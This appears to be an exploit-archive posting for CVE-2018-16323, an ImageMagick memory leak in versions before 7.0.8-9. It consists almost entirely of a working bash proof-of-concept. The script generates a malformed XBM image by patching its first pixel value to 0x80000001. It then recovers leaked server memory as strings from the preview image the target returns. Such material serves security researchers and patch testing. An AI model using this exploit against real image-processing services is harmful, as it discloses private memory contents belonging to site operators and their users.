what you don't know can hurt you

ImageMagick Memory Leak

ImageMagick Memory Leak
Posted Nov 20, 2018
Authored by barracud4

ImageMagick versions prior to 7.0.8-9 suffers from a memory leak vulnerability.

tags | exploit, memory leak, info disclosure
advisories | CVE-2018-16323
MD5 | 482e9c431cd68a68cdd9e40a6053a6a8

ImageMagick Memory Leak

Change Mirror Download
#!/bin/bash

help() {
echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]"
echo " Example gen: `basename $0` gen 512x512 poc.xbm"
echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc"
echo " Example recovery: `basename $0` recover avatar.png"
}
if [ "$1" == "-h" ]; then
help;
exit 0
fi
if [ "$1" == "gen" ]; then
echo "Generating..."
convert -size $2 xc:white $3
sed -i '0,/0x../s//0x80000001/' $3
if [ "$4" == "minimal" ]; then
echo "Shrink to minimal body size mode"
sed -i 's/0x00//g' $3
sed -i 's/,//g' $3
sed -i '/^\s*$/d' $3
fi
echo "Done"
exit 0
fi
if [ "$1" == "recover" ]; then
convert $2 temp.xbm
cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3
rm temp.xbm
exit 0
fi
help;


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